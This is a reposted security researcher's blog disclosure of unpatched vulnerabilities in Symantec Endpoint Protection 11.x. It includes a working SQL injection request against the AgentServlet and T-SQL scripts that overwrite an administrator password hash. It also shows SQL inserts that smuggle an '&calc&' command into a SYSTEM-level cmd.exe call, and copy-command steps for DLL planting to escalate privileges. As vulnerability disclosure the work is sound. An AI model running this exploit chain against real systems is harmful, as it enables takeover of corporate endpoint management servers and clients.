Compromised by Endpoint Protection: Legacy Edition
This was originally posted on blogger here.
The previous disclosure of the vulnerabilities in Symantec Endpoint Protection (SEP) 12.x showed that a compromise of both the SEP Manager as well as the managed clients is possible and can have a severe impact on a whole corporate environment.
Unfortunately, in older versions of SEP, namely the versions 11.x, some flawed features of 12.x weren’t even implemented, e.g., the password reset feature. However, SEP 11.x has other vulnerabilities that can have in the same impact.
Vulnerabilities in Symantec Endpoint Protection 11.x
The following vulnerabilities have been discovered in Symantec Endpoint Protection 11.x:
SEP Manager
SQL Injection
Allows the execution of arbitrary SQL on the SQL Server by unauthenticated users.
Command Injection
Allows the execution of arbitrary commands with ‘NT Authority\SYSTEM’ privileges by users with write acceess to the database, e.g., via the before-mentioned SQL injection.
SEP Client
Binary Planting
Allows the execution of arbitrary code with ‘NT Authority\SYSTEM’ privileges on SEP clients running Windows by local users.
As SEP 11.x is out of support since early 2015 and Symantec won’t provide a patch, you are highly advised to upgrade to 12.1.
SEP Manager
SQL Injection
The AgentRegister operation of the AgentServlet is vulnerable to SQL injections within the HardwareKey attribute:
POST /servlet/AgentServlet HTTP/1.1
Host: 192.168.40.133:8443
Content-Type: application/x-www-form-urlencoded
Content-Length: 781
ActionType=AgentRegister&RequestData=<SSARegData NameSpace="rpc">
<AgentInfo
DomainID="7C6968400A32025E01DF280BC7C27AE0"
AgentType="AgentType"
AgentID="AgentID"
LegacyAgentID="LegacyAgentID"
HardwareKey="lala'; waitfor delay '00:00:03'--"
UserDomain="UserDomain"
LoginUser="LoginUser"
ComputerDomain="ComputerDomain"
ComputerName="ComputerName"
PreferredGroup="PreferredGroup"
PreferredMode="0"
SiteDomainName="SiteDomainName"
IsLicensed="1"
AgentPlatform="AgentPlatform"
/>
</SSARegData>
To reach that point, we need to provide a valid DomainID, which can be retrieved from a SEP client installation from the SyLink.xml file located in C:\ProgramData\Symantec\Symantec Endpoint Protection\CurrentVersion\Data\Config.
Exploiting this vulnerability is a little more complicated. For example, changing a SEPM administrator user’s password requires the manipulation of a configuration stored as an XML document in the database.
The administrative users are stored in the SemConfigRoot document in the basic_metadata table with the hard-coded ID B655E64D0A320801000000E164041B79. An administrator entry might look like this:
<SemAdministrator
CreationTime="1450248162172"
EmailAddress="admin@localhost.local"
Id="AF3C39A10A320801000000DBF200C60A"
Name="admin"
PasswordHash="21232F297A57A5A743894A0E4A801FC3"
_d="false"
_i="6F335DE8C0A80101003F6843927F3521"
_t="1450248162172"
_v="3">
The complicated part is that this configuration document is crucial for the whole SEPM. Any changes resulting in an invalid XML document result in a denial of service. That’s why it’s important that any change results in a valid document as well.
So how can we modify that document to our advantages?
The stored PasswordHash is simply the MD5 of the password in hexadecimal representation. So replacing that attribute value with a new one would allow us to login with that password.
But we neither know the current PasswordHash value (obviously!) nor any other attribute value that we can use as an anchor point for the string manipulate.
However, we know other parts of the SemAdministrator element that we can use. For example, if we replace ‘ PasswordHash=
’ by ‘ PasswordHash="[…]" OldPasswordHash=
’, we can set our own PasswordHash value while being able to reverse the operation by replacing ‘ PasswordHash="[…]" OldPasswordHash=
’ by ‘ PasswordHash=
’:
-- set new admin password: MD5('Start1!') = '21232F297A57A5A743894A0E4A801FC3'
BEGIN
DECLARE
@SemConfigRoot varchar(max),
@s varchar(max),
@start bigint,
@length bigint;
SELECT
@SemConfigRoot = CONVERT(varchar(max),CONVERT(varbinary(max),content)),
@start = PATINDEX('<SemAdministrator %', @SemConfigRoot),
@length = PATINDEX('</SemAdministrator>%', @SemConfigRoot) - @start + 18,
@s = SUBSTRING(@SemConfigRoot, @start, @length),
@s = REPLACE(@s, ' PasswordHash="21232F297A57A5A743894A0E4A801FC3" OldPasswordHash=', ' PasswordHash='),
@s = REPLACE(@s, ' PasswordHash=', ' PasswordHash="21232F297A57A5A743894A0E4A801FC3" OldPasswordHash='),
@SemConfigRoot = STUFF(@SemConfigRoot, @start, @length, @s)
FROM
basic_metadata
WHERE
ID = 'B655E64D0A320801000000E164041B79';
UPDATE
basic_metadata
SET
content = CONVERT(image,CONVERT(varbinary(max),@SemConfigRoot)),
checksum = UPPER(SUBSTRING(master.dbo.fn_varbintohexstr(HASHBYTES('MD5',@SemConfigRoot)),3,32))
WHERE
id = 'B655E64D0A320801000000E164041B79';
END;
Here we first do the reverse operation in line 14 before updating the PasswordHash value with ours in line 15 to avoid accidentally creating an invalid document in the case the update is executed multiple times.
There may also be other attributes that needs to be modified like the Name or AuthenticationMethod for local instead of RSA SecureId or Directory authentication.
The reset would be just doing the reverse operation on the XML document:
-- reset admin password
BEGIN
DECLARE
@SemConfigRoot varchar(max),
@s varchar(max),
@start bigint,
@length bigint;
SELECT
@SemConfigRoot = CONVERT(varchar(max),CONVERT(varbinary(max),content)),
@start = PATINDEX('%<SemAdministrator %', @SemConfigRoot),
@length = PATINDEX('%</SemAdministrator>%', @SemConfigRoot) - @start + 18,
@s = SUBSTRING(@SemConfigRoot, @start, @length),
@s = REPLACE(@s, ' PasswordHash="21232F297A57A5A743894A0E4A801FC3" OldPasswordHash=', ' PasswordHash='),
@SemConfigRoot = STUFF(@SemConfigRoot, @start, @length, @s)
FROM
basic_metadata
WHERE
id = 'B655E64D0A320801000000E164041B79';
UPDATE
basic_metadata
SET
content = CONVERT(image,CONVERT(varbinary(max),@SemConfigRoot)),
checksum = UPPER(SUBSTRING(master.dbo.fn_varbintohexstr(HASHBYTES('MD5',@SemConfigRoot)),3,32))
WHERE
id = 'B655E64D0A320801000000E164041B79';
END;
Now we can log into the SEPM and could exploit CVE-2015-1490 to upload arbitrary files to the SEPM server, resulting in the execution of arbitrary code with ‘NT Authority\SYSTEM’ privileges.
If changing the admin password does not work for some reasons, you can also use the SQL injection to exploit the command injection described next.
Command Injection
From the previous blog post on Java and Command Line Injections in Windows we know that injecting additional arguments and even commands may be possible in Java applications on Windows, even when ProcessBuilder is utilized.
SEPM does create processes only in a few locations but even less seem promising and can be triggered. The SecurityAlertNotifyTask class is one of them, which processes security alerts from the database, which we can modify with the SQL injection.
The notification tasks are stored in the notification table. For manipulating the command line, we need to reach the doRunExecutable(String) method. This happens if the notification.email contains batchfile
. The executable to call is taken from notification.batch_file_name. However, only existing files from the C:\Program Files (x86)\Symantec\Symantec Endpoint Protection Manager\bin directory can be specified.
The next problem is to find a way to manipulate arguments used in the building of the command line. The only additional argument passed is the parameter of the doRunExecutable method. Unfortunately, the values passed are notification messages originating from a properties file and most of them are parameterized with integers only.
However, the notification message for a new virus is parameterized with the name of the new virus, which originates from the database as well. So if we register a new virus with our command line injection payload as the virus name and register a new security alert notification, the given batch file would be called with the predefined notification message containing the command line injection. And since .bat
files are silently started in a cmd.exe shell environment, it should be easy to get a calc.
The following SQL statements set up the mentioned security alert notification scenario:
INSERT INTO alerts (idx, alert_idx, virusname_idx, alertinserttime)
VALUES ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA', 1, 'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC', CURRENT_TIMESTAMP);
INSERT INTO notification (notag_idx, type, user_id, virus, email, lastrun, triggered, batch_file_name)
VALUES ('BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB', 'NV', (SELECT TOP 1 user_id FROM adminuser), '"&calc&"', 'batchfile', 0, 0, 'dbtools.bat');
INSERT INTO virus (virusname_idx, virusname)
VALUES ('CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC', (SELECT virus FROM notification WHERE notag_idx = 'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'));
The resulting CreateProcess command line is:
C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\Symantec\Symantec Endpoint Protection Manager\bin\dbtools.bat" "New risk found: "&calc&".""
And the command line interpreted by cmd.exe is:
"C:\Program Files (x86)\Symantec\Symantec Endpoint Protection Manager\bin\dbtools.bat" "New risk found: "&calc&"."
And there we have a calc.
SEP Client
Binary Planting
The Symantec AntiVirus service process Rtvscan.exe of the SEP client is vulnerable to Binary Planting, which can be exploited for local privilege escalation. During the collection of version information of installed engines and definitions, the process is looking for a SyKnAppS.dll in C:\ProgramData\Symantec\SyKnAppS\Updates and loading it if present. This directory is writable by members of the built-in Users group:
C:\>cacls C:\ProgramData\Symantec\SyKnAppS\Updates
C:\ProgramData\Symantec\SyKnAppS\Updates NT AUTHORITY\SYSTEM:(OI)(CI)F
BUILTIN\Administrators:(OI)(CI)F
NT AUTHORITY\SYSTEM:F
CREATOR OWNER:(OI)(CI)(IO)(ID)F
BUILTIN\Users:(OI)(CI)R
BUILTIN\Users:(CI)(special access:)
FILE_WRITE_DATA
FILE_APPEND_DATA
FILE_WRITE_EA
FILE_WRITE_ATTRIBUTES
The version information collection can be triggered in the SEP client GUI via Help and Support, Troubleshooting…, then Versions. To exploit it, we place our DLL into the C:\ProgramData\Symantec\SyKnAppS\Updates directory. But before that, we need to place the original SyKnAppS.dll from the parent directory in there and trigger the version information collection once as SEP does some verification of the DLL before loading but only once and not each time:
- Copy genuine SyKnAppS.dll to Updates:
copy C:\ProgramData\Symantec\SyKnAppS\SyKnAppS.dll C:\ProgramData\Symantec\SyKnAppS\Updates\SyKnAppS.dll
- Trigger version information collection via Help and Support, Troubleshooting…, then Versions.
- Copy custom SyKnAppS.dll to Updates:
copy C:\Users\john\Desktop\SyKnAppS.dll C:\ProgramData\Symantec\SyKnAppS\Updates\SyKnAppS.dll
- Trigger version information collection again.
The service is running with ‘NT Authority\SYSTEM’ privileges.